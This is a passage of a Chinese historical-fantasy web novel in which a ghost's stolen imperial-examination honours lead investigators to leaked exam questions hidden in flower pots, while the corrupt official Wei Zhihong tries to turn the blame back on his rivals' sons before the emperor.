听完汪焕清的故事,众人沉默良久,慕怀瑾感慨道: “你虽未能手刃魏志鸿,但误打误撞间害死了他的儿子,也算圆了因果。” 闻言,汪焕清眼中溢出两行泪来,“如此来说,我便也安息了。大师若还想收了我,那便动手吧。” 没成想,徐莞反问道:“如此轻易你便可安息了?不想亲眼见到魏志鸿苦心经营多年的大厦坍塌,见到他锒铛入狱,妻离子散? 你十余年来的夙愿,不就是喊出自己的冤屈,让世人皆知当年的探花是你,魏志鸿却冒名顶替了你做官娶妻,享受荣华富贵?” 汪焕清蓦地睁开眼,带着震惊与期盼望向徐莞,“大师有办法能揭开魏志鸿的真面目?替我沉冤昭雪?” 徐莞摇摇头,“我帮不了你,但周大人与姜大人或可以帮你。” 众人皆将目光投向周祎仁与姜灿,徐莞问道:“二位大人,若是能找到汪进士的尸首,可以找出杀害他的杀手是何人吗?” 姜灿思忖片刻,严谨道:“汪进士已长眠地下十余年,想必尸首早已化为白骨。 但十余年来,刑部已研究出根据人骨上的伤痕,来判断作案手法的技术。 并且国内犯过重案的杀手,刑部都已登记在册,作案手法与特征皆一清二楚。 若是能找到汪进士的尸骨,从尸骨上判断杀手的作案手法,或许能找到那个杀手。” 周祎仁接口道:“若能找到杀手,逼出其口供,便有证明魏志鸿买凶杀人之人证了。” “没错。”慕怀瑾道:“若是能再找到娄贲助魏志鸿调换试卷的证据,便可将其二人一举拿下。 只是历年试卷皆存放在国子监中,由国子监全权管控。而国子监又是娄贲的地盘,想拿到证据绝非易事。” 徐菀思忖片刻,忽然想起了某个细节。 “我记得肖大人曾说过,在魏志鸿骑着高头大马,去迎娶娄大人家的千金时,有一对母子曾当街阻拦,还喊魏志鸿为‘夫君和爹爹’。 方才汪进士也说,魏志鸿参加完殿试后,表示家中还有妻儿,要回乡等候放榜。 如此说来,这魏志鸿在嘉礼县早已娶妻生子。为了京城的官职与荣华富贵,竟连自己的发妻与幼子都不认,毅然决然做了娄贲的女婿。 若是能寻到魏志鸿的发妻与长子,或许他们也能提供些破案线索。” 姜灿思忖道:“可照魏志鸿那斩草除根的做派,为掩盖他的出身与过往,他的发妻与长子或许与汪进士一样,也早已被杀害。” 薛敏芝忽然提醒道:“菀菀不是会卜卦寻人吗?可否算一算,她的发妻和长子是否还在人世?” 经由薛敏芝一提,众人豁然开朗。 慕怀瑾望向徐菀,一脸的引以为傲,“卜卦寻人,我家夫人最为擅长。” 徐菀白了他一眼,“卜卦寻人还需他们的生辰八字。如若你们能将他妻儿的生辰八字寻来,我倒可试上一试。” 话毕,露台上的众人陷入沉思。 一对已失踪十余年的母子,要到何处去寻他们的生辰八字呢? 这时,慕怀清灵光一现,“对了!可否去查查嘉礼县的县志? 魏志鸿作为嘉礼县几十年来唯一一位探花,县志中必定有他一页。其中说不定会提到他妻儿的生辰八字。” 周祎仁听罢点头道:“县志中的内容也可能已被魏志鸿修改。但目前这是我们能想到的唯一线索了。 此事包在我身上。阿灿,魏庆坤的案子就交给你全权负责了。” “好。” 汪焕清见众人都在帮他出谋划策、集思广益,心中动容无比。 “汪某感谢大师及各位大人的大恩。若可洗清冤屈、大仇得报,汪某哪怕永不转世投胎,从今往后也要护各位,及各位的后人周全平顺。” 说着,汪焕清屈膝向他们跪了下去,面上涕泪横流。 徐菀一挥手,将束缚其魂魄的符纸去除,向他朗声道:“汪进士请起。你可愿意随我而去,随时为我们提供线索?” “愿意!”汪焕清抬首环顾四周,这个他将自己困了十四年的地方,“我在此处避了十四年,是时候该直面魏志鸿与其背后的党羽了。” “好。”徐菀说着,从小荷包中取出一枚小瓷瓶,将瓶塞拔掉后,对着汪焕清默念咒语。 汪焕清灰黑色的身影,便化为一缕灰烟,听话地飞入那个小瓷瓶中。 徐菀再塞紧瓶塞,将其放入小荷包中,随后扬首望向周祎仁,“好了。今夜的请魂周大人可还满意?” 周祎仁觍着脸道:“满意~满意~嘿嘿嘿…” “那香火钱……” “待我明日去刑部就为您申请,不出十日必送至永嘉侯府!” 徐莞莞尔一笑,向朱雀白虎道:“还不多谢周大人。” 朱雀白虎头一次仅凭自己做法事赚到香火钱,雀跃地对周祎仁连连道谢:“多谢周大人!” 姜灿对慕怀瑾与徐莞抱拳道:“今晚劳驾侯爷与夫人了,为我们办案提供了诸多线索。姜某多谢侯爷与夫人!” “姜大人客气了。只要能尽快真相大白,还煜峥清白,我们慕家定当全力配合。”慕怀瑾道。 随后,他顿了顿又道:“魏庆坤的验尸结果出来后,祎仁也向我与菀菀知会一声。 还有,估计魏志鸿这两日就会派人来此偷偷取回试题。 姜大人定要尽快找到试题,并派人严加看守此地。” “侯爷放心,姜某定当全力搜寻。” 第243章 243.内脏冻结 翌日,姜灿与周祎仁一同前往验尸房询问验尸情况,仵作对着面前的尸首,又是一头雾水,百思不得其解。 “周大人呐,您都是从何处弄来这些个诡异的尸体,让我如何写验尸卷宗啊!” “怎么了阿斌?这尸体有何诡异之处?” 仵作文斌长叹一声,掀开尸体腹部盖着的白布,露出的画面饶是令阅尸无数的周姜二人,都感到一阵恶心与不可置信。 “怎…怎会这样?他的各个脏器怎会碎成这样?” 周祎仁说完捂住嘴干呕了一下,连忙将布口罩戴上。 姜灿也侧过头去戴上口罩,强自镇定下来再次望向魏庆坤的尸体。 “一般死于高空坠落者,皆因内脏破裂而亡。但他们的破裂,不是这种破裂法啊。” 文斌说着,向他们指了指尸体中的内脏,“首先,你们看他的内脏发青,这明显是冻伤的表现。 再者,他的内脏都碎成这样一小块一小块的。就好似被放置在滴水成冰的地界,内脏被冻住之后再从高空坠落,直接被摔成了碎块儿。 如此死法我文斌平生还是第一次见。” 听到内脏被冻伤,周祎仁与姜灿同时想到,据慕煜峥所说,被汪焕清的魂魄蹭过时,会有浑身冰冷的感觉。 若汪焕清不仅是蹭过魏庆坤,而是直接从他的胸膛穿过,会不会就在顷刻间将他的内脏冻结? “如此说来,死者是先死于内脏冻结,然后才从高空坠落?”姜灿问。 文斌点头道:“对。内脏需先被冻结,从高空坠落后才会有如此效果。人的内脏被冻结,必死无疑。” 说到此处顿了顿,文斌又露出百思不得其解的表情,“可是人怎会在皮肉未冻结的情况下,内脏直接冻结呢?” 紧接着哭丧着脸道:“周大人,我这验尸卷宗可怎么写啊?” 周祎仁还是那句话,“你如实写,我去向尚书大人汇报,将这个案子归为诡异案件。” “哎好吧。那这尸体我可以缝起来,但内脏恕我无能为力……” “好,辛苦你了阿宾。本月我让刑部给你加十两银子的修整遗容费。” 文斌听此这才喜笑颜开,“多谢周大人体恤。验尸卷宗我撰写完毕后便呈送给您!” 周姜二人从验尸房出来,一路边走边聊。 “看来慕煜峥说的不错,魏庆坤确实有被汪进士的魂魄撞到,致使阴气入体,冻结了心肺。”姜灿道。 “不然呢?”周祎仁心疼道:“煜峥那孩子不会说谎。况且我儿子平章也是被那鬼魂误伤,导致突发高热暴病,如今还躺在病榻上呢。” 姜灿气息微敛抱歉道:“周大人,我明白您的心情。只是仅有验尸卷宗还不够,还需找出魏庆坤自行滑倒,出了意外的证据。如此才能洗清煜峥的嫌疑。” 周祎仁当然也理解,“嗯,那此事便交给你了。我去一趟永嘉侯府,将魏庆坤的验尸情况,与案件情况告知他们。” “好,那我便回书院阁的案发场地继续寻找线索。” 二人在刑部门外分别后,姜灿便回到了书院阁。 登上三号院楼顶,姜灿见两名刑部官员在此看守着,还有三名官员则在案发现场附近处搜寻。 姜灿走向那三名正在搜寻的年轻后辈,开口问道:“可有何发现?” 两名后辈转过身齐齐向姜灿抱拳行礼,“回大人,我们在此处发现了一些摩擦痕迹,似是鞋底与地面的摩擦。” 三人说着,将姜灿带往栏杆旁,向其指出地面上的摩擦痕迹。 “此处的摩擦痕迹呈长条形,根据其长度与深度推测,此人身长七尺六寸,身重约为一百四十斤,正好与魏庆坤的体型相差无几。” 姜灿在摩擦痕迹旁蹲下仔细观察了一番,认同了三位后辈的推测。 “嗯。确实如此。我刚从刑部验尸房过来,文斌说死者身上并无打斗过的痕迹,且死于内脏冻结,之后才摔下楼将内脏摔碎。” “所以可以初步解除嫌疑人的嫌疑了。” “对,”姜灿点点头,接着又问起了另一件事,“你们在楼顶上找到何可疑物品了吗?” 三名后辈皆明白姜灿指的是与试题相关之物,但三人都摇了摇头,“还没有…” 姜灿听罢低叹一声,两手叉腰移开视线,茫然望向楼顶的另一边。 刑部官员在此已勘察了两日,还未发现试题相关的证据。 难道他们的推断方向有误? 魏庆坤并没有买卖试题?还是魏志鸿已命人将试题取走? 正在姜灿沉思时,眼风一扫忽然注意到楼顶花圃中,有一名小厮打扮的人正忙碌着,将花圃中凋谢衰败的盆栽装进一个框子里,再从另一个筐子取出将将抽芽的盆栽,放到花圃上。 姜灿眯起眼仔细端详片刻,还是决定去询问一番。 “这位兄弟,你这是在做甚?” 小厮见有官员前来询问,忙停下手里的活,弯身行礼,“回大人,小的是这书院阁中的花木管事,负责修剪花木,定期更换盆栽。 这不是开春了吗?小的便来将花圃中枯萎的盆栽换掉,放些新的上来。” 这位小厮答话时语气十分自然,未见丝毫慌乱之色,只是一直低着头。 姜灿心思一动,忽然厉声道:“你不知道此地前几日发生了凶案,闲杂人等不可上来吗!” 紧接着又向看守在此的两名刑部后辈喊道:“你们是怎么看守的!为何要放此人进来!” 姜灿这一吼,立时将两名看守与那名小厮吓得跪倒在地。 “大…大人饶命,小的不知…是管事让我上来的……” 两名看守也道:“大人息怒!是我等失职。我等这就将其带下去!” 看守说着,起身而来将那名小厮架起,小厮忽然惊叫道:“哎让我将那些废盆栽带下去!” 小厮说着,伸手便要去够,姜灿却将那一筐盆栽往旁边一踢。 “你人下去就行了。此处的物品,一样都不能带走。你们俩把他带下去!” “是大人!” 第244章 244.藏在花盆里的试题 “你人下去就行了。此处的物品,一样都不能带走。你们俩把他带下去!” “是大人!” “哎大人!管事的说了,要让我换完拿下去!” 那小厮还想挣扎,仍旧不由分说被拖走。 待人走后,姜灿向三位后辈命令道:“把这些花盆都砸开,看看里面可有何可疑之物。” “是,大人!” 三位后辈即刻依命,端起一个个花盆往地上砸。 啪,啪,啪的器皿碎裂声,在三号院楼顶不绝于耳。 短短一盏茶功夫,几人已砸了二三十个花盆。 之后几人又取来铁锨,将花盆中的土一一捣碎。 姜灿在一旁紧盯着每个花盆中的土,终于在那一地土与碎花盆中,发现了一个黑色小锦囊。 “那是何物?快快取来!” 后辈将锦囊取来交到姜灿手中,姜灿极快地打开,从中取出一块折成骰子大小的纸张。 展开之后姜灿定睛一看,其上写的果然是会试试题! 原来试题被藏在了这些盆栽之中,难怪他们将楼顶翻了数遍都未找到。 幸好今日自己亲自前来,碰上那位花匠才终于找出破绽。 “找到了!终于找到了!”三位后辈见此,激动地叫了出来。 姜灿则按耐住激动的心情,向三位后辈道:“你,同我一起去寻刚才那个花匠,将他及书院阁管事,和此地的国子监官员全部控制起来,坚决不能让他们与外界联络,散消息出去。 你们两个继续在此处搜查,我去这就去审问那个花匠和命他换花的管事!” 刑部官员在姜灿的部署下,立即将书院阁内的国子监官员控制起来。 书院阁管事与花匠,则被单独关在两间屋子里,由姜灿亲自审问。 但这两人嘴硬的很,无论如何问话,他们皆一口咬定,不晓得花盆里的东西是何物,更不知那是谁放的。 姜灿一怒之下,决定将二人押往刑部,再行审问。 听到要被抓去刑部,花匠极其慌乱,哭天喊地说自己只是按管事吩咐做事,自己什么都不知道。看起来确实像被利用了。 书院阁管事闻之亦慌了神,脸色也渐渐变得难看。但他却一言不发,恍惚地被带上手铐,押送去了刑部。 此地的国子监官员被控制起来,严加看守,无法将消息传出去。 而今日距会试开考仅剩两日,出题的官员们早在三日前便已拟好题目,交由圣上过目。 因此如今圣上已看过题目。若是找到的试题证据,与国子监呈给圣上的题目相同,那么便可坐实国子监有人买卖试题之罪。 由于此案牵扯甚广、兹事体大,姜灿不敢擅自前往国子监问询。 他的下一步是要将这流出的试题证据,上报给周祎仁,再由周祎仁上报给刑部尚书,由尚书大人定夺。 将将思及此,周祎仁便风风火火回到了书院阁。 “阿灿,听说你将此处的国子监官员全都控制住了?可是找到了什么关键性证据?” 姜灿点头道:“是的,周大人。我们在楼顶露台的花盆里,找到了疑似是今年会试试题的物证!” 周祎仁听后兴奋异常,“快拿来我看看!” 姜灿交给他后,周祎仁望着那张小纸上的文字眼眸晶亮,激动得双手微微颤抖。 “太好了。若是这试题与国子监呈给皇上的题目相同,便可将国子监那帮娄贲的爪牙一网打尽!” 姜灿补充道:“若是再能找到魏庆坤通过娄贲买卖试题的证据,还有十四年前娄贲帮魏庆坤掉包试卷,助他当上探花的证据,那可就真是一网打尽了。” “对!我这就将此证物送去刑部,再将案情陈述给尚书大人,看他如何定夺。” 周祎仁说罢,将证物贴身放好,忽然又想起一事,“对了阿灿,煜峥和平章的嫌疑是不是可以排除了?魏庆坤意外坠亡的证据已搜集够了吧。” “是,大人。我这就将此案相关证物报去刑部,待审批下来,便可让慕煜峥归家。” 姜灿的动作十分迅速,当天下午便将此案案情梳理为报告提交上级审批。 第二日一早,慕煜峥与周平章的释放令,便发了下来。 姜灿拿着释放令回到书院阁,来到慕煜峥房中。 慕煜峥已在房中关了三日,日日惴惴不安,夜夜辗转难眠。 今日一早便见姜灿出现,慕煜峥心中期盼又忐忑。 “姜大人您来了!是魏庆坤的死因查出来了吗?” 姜灿神态温和地点点头道:“对,刑部已确定魏庆坤死于意外失足跌下高楼,与你和平章无关。所以今日我便是来接你出来的。” “真的吗!”慕煜峥闻言,满眼的喜悦与难以置信,“太好了!多谢姜大人周大人,还有各位刑部的大人们还我清白!” 慕煜峥说着,便向姜灿拱手弯腰行了个大礼,甚至要向他跪拜叩首。 姜灿连忙将他拉住,“哎这可不敢!姜某只是依律行事,慕公子不必行如此大礼。” 慕煜峥眼含激动的泪光望着姜灿,心中连连感叹,姜大人真是好人! 自己将来考取功名后,也要做姜大人与周大人这般秉公执法,大公无私的好官! 姜灿拍着他的肩道:“好了。你收拾收拾自己的物品,待会儿我便送你回永嘉侯府。” “回府?”慕煜衡擦擦眼角,惊异道:“可是明日便是会试之日了。我还要参加考试呢。” 姜灿意味深长道:“明日的会试怕是不一定能开考了。你还是先回府上休整一段时日吧。” 慕煜峥并未往深里想,只以为书院阁出了命案,恐会影响会试。 因此也未再多问,依照姜灿的话收拾好自己的物品,在姜灿的陪同下,离开了书院阁。 出了书院阁,望向上方明朗的天空,慕煜峥有种恍如隔世之感,好似自己又重活了一朝。 待回到永嘉侯府,进了大门后,门房进去通报,不一会儿慕怀清薛敏芝夫妇,以及慕怀瑾和徐菀等人便迎了出来。 “煜峥!” “娘!” 薛敏芝顾不得侯门女眷的仪态,见到慕煜峥后眼中便仅剩下了他,提着衣摆一路小跑而去,将慕煜峥紧紧搂入怀中。 第245章 245.企图反咬一口 薛敏芝顾不得侯门女眷的仪态,见到慕煜峥后眼中便仅剩下了他,提着衣摆一路小跑而去,将慕煜峥紧紧搂入怀中。 “煜峥呐...你终于回来了...”薛敏芝未言语先泣。 慕怀清立在他们身旁,抬手搭上他们的肩,眼中亦闪着欣慰的泪花。 二人相拥片刻后,慕煜峥从薛敏芝怀中退出,掀起衣角向她和慕怀清跪一拜。 “爹,娘,孩儿不孝,让爹娘担心了。” 慕怀清上前一步伸手将其扶起,“煜峥快起。你回来就好。” 一家三口团聚的动人温馨画面,令一旁的慕徐二人与姜灿,都倍感动容。 三人团聚过后,又一同向姜灿道谢。 几人客套一番,慕怀瑾开口将姜灿请到正厅落座歇息。 在得知刑部已找到了藏在楼顶露台的证据后,慕怀瑾振奋道:“真乃天大的好消息。” “是啊。”徐菀道:“因果循环。魏志鸿娄贲等为一己私利,无视王法,肆意害人性命之人,迟早会遭到报应。” 姜灿思忖片刻道:“但有一点我至今未想通。就是肖胜铭提到,当初何钦大人本想让他帮忙篡改魏志鸿的成绩,但肖胜铭并未答应。之后何钦才去找娄贲协助。 而何钦为何要如此大费周章,去帮助一个来自甘州小县城的穷进士呢?难道是与嘉礼县的那场山火有关?” 这个问题令在场众人皆陷入沉思。如今证据太少,他们也都未能将此一系列事件联系到一起。 少倾,慕怀瑾接口道:“那场山火的背后一定有着不可告人的秘密,才能将何钦与魏志鸿紧紧捆绑在一起。 我们虽不知是什么,但此次泄题之案件,魏志鸿很有可能找何钦帮忙脱罪。 若是何钦愿意帮他,想要扳倒魏志鸿与娄贲,还并非易事。” 徐莞却不甚在意,“怀瑾你想多了。何钦与魏志鸿身份悬殊,何钦又老谋深算,不可能因为魏志鸿对他有救命之恩这种正直之事,就冒如此大风险帮他铺路。 所以他们二人应是狼狈为奸,共谋了什么恶事,何钦当年才会动用关系去拉拢魏志鸿,同时也将他培养成自己的党羽。 而你们想想,随着魏志鸿的权力越来越大,何钦会不会防着魏志鸿? 若是如今有个机会能让何钦除掉魏志鸿,你们说他会如何做?” 慕怀清推测道:“大嫂是说,何钦为了自保,不用圣上动手便会对魏志鸿杀人灭口?” “嗯。有这个可能。善人因义气恩情而相结,而恶人皆因利益。利益又是天下最危险的,一着不慎便会反目成仇。” 慕怀瑾赞同道:“菀菀说的也有道理。那我们便拭目以待。 对了,我们可将此事告知肖家那边,看肖家能否助刑部周尚书一臂之力。” “好主意!今日我们便去肖府走一趟吧。” === 话分两头。 姜灿虽在第一时间将书院阁内的国子监官员尽数管控,使他们无法传出消息。 但由于那些那些官员一夜未归,国子监与魏志鸿这方,也察觉出了不妙。 前一日晚,魏志鸿便带着妻子娄婧与小儿子,连夜赶往娄贲府上说明此事,想请老丈人一同帮其想想办法。 娄贲亦从国子监听闻了此事,顷刻间勃然大怒,急得像热锅上的蚂蚁。 得知魏志鸿与女儿一家三口前来,娄贲的怒火终于有了发泄之处。 “你们是如何做爹娘的!竟会养出如此愚蠢无能,净会拖累家族的孽种!” 夜色森寒。 娄贲院落的前厅中仅点着两盏铜雀灯与数支烛台。 光线幽暗中,娄贲对着魏志鸿与娄婧一顿咆哮,吓得魏志鸿及抱着小儿子的娄婧,从椅子上慌忙起身跪伏在地。 “爹爹息怒!我与婧儿都知错了。您千万莫要因此气坏了身子啊。” 魏志鸿在娄贲面前,一向是这副恭敬畏惧的模样,让娄贲的怒火稍稍消退。 其实十多年来,娄贲对这个女婿都颇为满意。 办事能力卓越,为人机敏谨慎,且对自己女儿关切体贴,关键时刻还能狠下心来一除后患。 而自己这个女儿却不是个省油的灯,又养出个不学无术、竟会惹事生非的儿子。这些年给娄贲和魏志鸿添了不少麻烦。 此次魏庆坤惹出的事非同小可,也难怪娄贲如此恼怒。 魏志鸿安慰罢,娄婧却抱着小儿子委屈地哭诉道:“爹,庆坤也是您的外孙啊。 如今他尸骨未寒,甚至死无全尸,刑部那些个周祎仁和姜灿等人,竟说我们庆坤是自己失足坠下楼的,将慕家和周家的小杂种都无罪释放。 这不是欺负我们魏家是什么?爹,您一定要为我们做主啊!” 娄贲见此,一怒之下抬手将桌案上的茶杯向娄婧砸去。 嘭的一声,茶杯碎裂在娄婧前方一米之处,将娄婧吓得倒吸一口冷气,将她怀中的小儿子也吓得哇哇大哭起来。 “爹!您这是做甚!你看都吓着庆辉了。”娄婧语带责怪,搂着小儿子不住哄着,好似丝毫不觉得自己哪里有错。 娄贲气极,“就是因你从小这样溺爱幼子,长此以往才将庆坤养成那副样子。 如今都何时了,你还妄想用庆坤之死扳倒周家和慕家? 我看我娄家和你们魏家,就快被周家搞死了!” 娄婧蓦然一愣,这才意识到魏志鸿在府中对她说的话竟是真的。 “爹,周家真的已找到那份试题了吗?周正忠真的敢拿着试题去上奏皇上?那如今还能让国子监那帮人修改试题吗?” 娄贲无奈摇头,“圣上三日前已看过题目,此时再改已无济于事。 如今唯一的办法,就是将这漏题之罪,扣在国子监头上。 还好当时庆坤未拿到试题。如此一来,周家就无法断定这试题原本是要给谁的。 我们甚至可以反咬一口,说这试题是慕家或周家买的。毕竟那一晚,慕家和周家的儿子,不是也上楼顶了吗?” 魏志鸿一听,眼眸即刻亮了起来,“还是爹足智多谋啊!” 第246章 246.皇上震怒 魏志鸿一听,眼眸即刻亮了起来,“还是爹足智多谋啊!” 此话对娄贲颇为受用,娄贲捋捋胡须,暗自得意地仰起头,“他周家想借此对付我们,可未想到剑分两刃,一个不小心,便会反噬其身。” 娄婧也听懂了他们的盘算,跟着奉承道:“我们找爹真是找对了。只有爹能想出如此一举两得的法子。” 娄贲斜睨向她,嗔怪一声,“罢了,看在庆辉的份上,爹再帮你们一次。 但此次事件极为凶险,若是有一丝差池,圣上都有可能对我们兴师问罪。我们也要做好最坏的打算。” 娄贲顿了顿,又对他们道:“国子监那边,我会派人去让他们闭紧嘴。书院阁那边,负责藏匿试题的管事...” 魏庆坤即刻明白了他的意思,“那名管事交给我,爹您放心。” “好。夜深了,你们快带庆辉回去休息吧,莫要着凉。” “是,爹。您也早些休息。” 话毕,魏志鸿一家三口便迅速施礼退出前厅,出门后长舒一口气,坐上马车向魏府而去。 苍白的月光,洒在子时空旷的街巷上。 魏府的马车一路疾驰,带起临街摊位上的盖布与幡旗,一股莫名的冷冽肃杀之感,渐渐笼罩在整座京城上空... === 翌日,也就是会试开考的前一日。 清晨文武百官上朝之时,刑部尚书周正忠,将准备好的奏折向皇帝呈了上去。 “皇上,臣有要事上奏。” 皇帝景逸本已准备宣布下朝,却被周正忠拦住,于是略略不耐地坐回龙椅中央,“周爱卿所为何事?” 掌印太监一面将奏折呈给皇上,周正忠一面道:“回皇上,还是书院阁举人坠楼一案。 刑部已调查清楚,魏举人乃自行失足跌落致死。两名嫌疑人已解除嫌疑,无罪释放。” 景逸大致扫了一眼奏折后,厌厌道:“案子真相大白便好。辛苦爱卿了。刑部协助查案之官员,皆由爱卿论功行赏。” “谢皇上。可在破案的同时,刑部官员又在案发现场发现了一样不得了之物。” 周正忠的话音落下,同样立在百官中的魏志鸿,霎时向他犀利望了过去。 此话也引起了皇帝景逸的注意,“不得了之物?是何物?” 周正忠暗暗深吸一口气,气沉丹田,用沉稳雄壮之声道:“负责此案的刑部郎中,在案发现场的花盆中,发现了疑似会试试题之物。” 此言一出,立时在大殿中激起千层浪。文武百官皆嗡声议论起来。 “会试试题?会试不是明日才开考吗?刑部在书院阁发现了试题,难不成是...” “难道是有人暗中买卖试题?” “科举考试乃国之根本,买卖试题更是罢官革职的大罪。到底是谁这么大胆子!” 皇上闻之亦顿时变色,立马倾着身子道:“那证物在何处?快快呈上来让朕看看!” 周正忠道:“证物就在那奏折后夹着。请皇上过目!” 昨日周祎仁来找周正忠时,周正忠起初还对此颇有怀疑。 但当他拿出此证物时,周正忠再也无法淡定,如何看都像是会试试题。 周祎仁再将这几日书院阁举人坠楼案细细讲与周正忠,周正忠这才意识到此事事关重大。 若有可能,或许是能将多年来科举舞弊之事连根拔起的绝佳契机。 父子俩商议过后,对此证据有八成的把握。 于是周正忠决定,冒险在今日的早朝中,当着文武百官的面将其呈给皇上。皇上看过后自会定夺。 景逸忙将奏折翻过来,便看到了那黑色小锦囊。 打开锦囊,取出里面的纸展开看去。 周正忠与周祎仁在下方紧张观察着皇上的神色。 但见皇上聚精会神看着那纸上的字,手指微微颤抖,面上的表情愈渐厉色 片刻后,景逸嘭的一声,将那张纸条和奏折拍在面前的桌案上。 “荒唐!这试题从何而来,竟与明日的会试试题别无二致!到底是谁将试题泄露出去的!” 听罢此话,周祎仁与周正忠皆松了一口气,又在心中暗暗握拳庆幸,这次总算赌赢了! 圣上震怒,文武百官齐齐下跪高呼,“圣上息怒!” 随后便都低下头跪伏在地,不敢吭一声。 景逸被这漏出的试题气得浑身发抖,目光自下方百官头顶一一扫过,终于寻到了国子监祭酒的身影。 “孙爱卿!” 国子监一把手孙仲明被点到名时,浑身蓦地一抖,张口便磕磕巴巴,“臣…臣在…” “明日会试的试题,不是在你国子监的密室中锁着吗?为何会出现在书院阁?如今又到了朕的手上?” 景逸的每一个字似都咬牙忍着怒意,声音虽不大,但其后所含的杀气,令在场所有人噤若寒蝉。 “回…回陛下,微臣不知……是微臣看管试题无方,致使试题流出。 微臣定会严查此事,十日之内定查出是谁泄露了试题!” “哼!你也知你自己看管无方!”景逸径直将手边的奏折砸向孙仲明,厉声吼道: “明日会试便要开考,你十日才能查出,耽误了今年的会试,你该当何罪!” “皇上息怒!”孙仲明惊恐万状,“臣…臣……” 他的话还未说完,景逸便怒喝一声,“来人呐!将孙仲明押入大牢,严加看守审问。 如若审不出可疑之人,孙仲明便全权承担泄题之罪,斩首示众!” 年过不惑的孙仲明,整个人蓦地痉挛一下,抬首凄然高呼,“微臣冤枉啊!” 可大殿中无一人出声为他说话,任由侍卫将其拖走。 孙仲明凄厉的喊叫,听得殿内众人汗毛竖立,将头低的越发低,生怕圣怒牵扯到自己身上。 少倾,孙仲明的声音听不见了,景逸才对身旁内官监掌印太监黄鄢道:“你去书院阁传朕的旨意,明日的会试暂且取消。 让那些举人都在书院阁老实待着,未查出买卖试题者之前,任何举人不得离开!” “是,皇上!” 言罢,景逸又向周正忠道:“周爱卿,既然此事是你们刑部发现的,那么此案还是交由刑部调查。 定要将国子监那些官员一一彻查,找出到底谁敢私下里售卖试题!” 第247章 247.颠倒黑白 “定要将国子监那些官员一一彻查,找出到底是谁私下里售卖试题!” 皇上彻查的决心坚定,周正忠及刑部必当全力以赴,“臣接旨!定当严查!” 至此,卖试题的一方已有了方向,接下来就该轮到查买试题的一方了。 景逸坐在龙椅上朗声道:“天下生意有买有卖。有买家,才有人敢冒着杀头的风险去卖试题。 那么依周爱卿所见,这买试题之人,又该如何查呢?” 周正忠颔首弓腰,暗暗向右后方的魏志鸿瞥去。 只见对方一副气定神闲的模样,好似这买卖试题之案,与他毫无关系。 周正忠心内略略起疑,但还是开口说了下去。 “回皇上,会试试题于三月十五日由国子监出题官拟定。而此证物于十九日在书院阁三号院楼顶找到。 由此推断,购买此试题者,必是三号院的考生,且在十六日至十九日之间上过楼顶之人,嫌疑最大。 而书院阁举人坠楼案于十六日子时发生。自此之后,除刑部官员外,再无闲杂人等上过三号院楼顶。 景逸接口道:“如此说来,十六日上过楼顶之人,便是购买试题的嫌疑人?” “皇上圣明!微臣已令刑部官员在三号院展开问查,确定了只有那位坠楼而死的举人在子时左右登上楼顶。” “那么那位举人就是购买试题之人?”景逸额角的青筋绷了起来,“那名举人到底是何来路,竟会有门道能买到试题?!” 见皇上如此关切,周正忠的心更定了,深吸一口气,将那个名字报了出来。 “那名举人,正是户部侍郎魏志鸿大人的长子,魏庆坤!” 此言一出,顿时如水入油锅,整座大殿顷刻间爆发出喧天的惊呼与议论。 “周大人说的是什么!买试题之人是魏大人的儿子?这不就摆明了直指魏大人就是买卖试题之人?” “没错!你忘了魏志鸿的老丈人是谁了吗?正是前文华殿大学士娄贲啊! 若是娄贲出面让国子监那帮人将试题偷盗出给魏大人的儿子,还不是易如反掌?” “对啊!如此一切都说的通了!周大人此次可真是勇气可嘉,敢在大殿上当着皇上和群臣的面说出来。就不怕魏志鸿娄贲和他们身后那位反扑报复?” “嘘,小声点!当心让那位的眼线听到。咱们这种小啰啰还是少出声,明哲保身静看如何发展便好。” 群臣们的目光,在魏志鸿与周正忠身上来回跳跃。 无数议论声混杂在一起,令大殿内乱若闹市。 但在这一片混乱之中,魏志鸿却依然淡定自若,只因他早已想好了说辞,稍后定能将周正忠打个措手不及。 皇帝景逸见大殿中这副乱糟糟的样子,拿起龙案上的惊堂木重重拍了下去。 “肃静!都给朕闭嘴!” 啪啪两声,大殿内终于静了下来。 景逸目光阴沉地望向立在群臣中的魏志鸿,用极具压迫感的语调,向魏志鸿问:“魏爱卿,对此你有何话好说?” 魏志鸿方才一直颔首弓腰酝酿情绪,此时被皇上点到,他先深吸一口气,随即扑通一声双膝跪地,带上颤声,朗声开口: “皇上,微臣不知自己何时得罪了周大人,竟引得周大人将如此重罪扣在微臣身上。 就算给微臣一百个胆子,臣也不敢行那买卖试题之事。 况且我儿死的不明不白,周大人还将此重罪安在我儿身上,当真想让我儿死不瞑目吗! 求皇上为微臣与臣子做主!” 一番诉苦之言说完,魏志鸿以头撞地,不知磕了多少个头。砰砰的响声在大殿中不住回荡。 周正忠与周祎仁心内一惊,难道魏志鸿这狐狸还有后招? 皇上见魏志鸿一副诚恳畏惧的模样,又说儿子死的不明不白,于是疑惑问: “你说儿子死的不明不白?刑部不是已定案了吗?你此话怎讲?” 魏志鸿恳切地卖惨,“回皇上,刑部的案件结论说,我儿是自己意外滑倒从楼顶跌落身亡。 他一位岁近弱冠的青年,怎会意外滑倒?这解释不会太离谱了吗? 况且那一晚并非只有我儿一人在楼顶,还有周祎仁大人家的公子,与永嘉侯的侄子在场。 刑部调查案件时,三日便速速结案,将周慕两家公子无罪释放。 刑部不但要求臣接受此结论,如今还要将买卖试题之罪扣在我儿头上。这不是欺负我们父子是什么!” 一番声嘶力竭的控诉后,魏志鸿眼风一转蓦然瞪向周正忠与周祎仁,狠厉中带着一丝只有周家父子能看到的挑衅。 果然,景逸一听,思绪很快被魏志鸿带跑,“魏爱卿的意思是,十六日那晚祎仁的公子与永嘉侯的侄儿也在楼顶?” 景逸顿了顿,又望向周正忠父子,“周爱卿,方才你为何未说明此事?” 圣心与形势在顷刻间扭转,将周家父子打了个措手不及。 周遭的文武百官们皆屏气凝神,生怕呼吸幅度大些,就会引起皇上的注意。 但一双双眼睛,却忙着扫扫周家,瞥瞥魏家,兴致勃勃地看着好戏。 周家父子暗暗相视一眼,少倾,周祎仁气沉丹田,鞠躬朗声道: “回皇上,案发当晚我儿与慕家公子确实也上过楼顶。 但从他们二人的脚印来判断,他们始终未靠近过魏举人,与魏举人有六尺以上之距,是万万不可能将魏举人推下楼的。 此外,从魏举人跌落处的地面摩擦痕迹来看,应该没有外力干涉,因而判断是魏举人意外坠楼的。 魏举人坠楼案证据确凿,望皇上明鉴!” 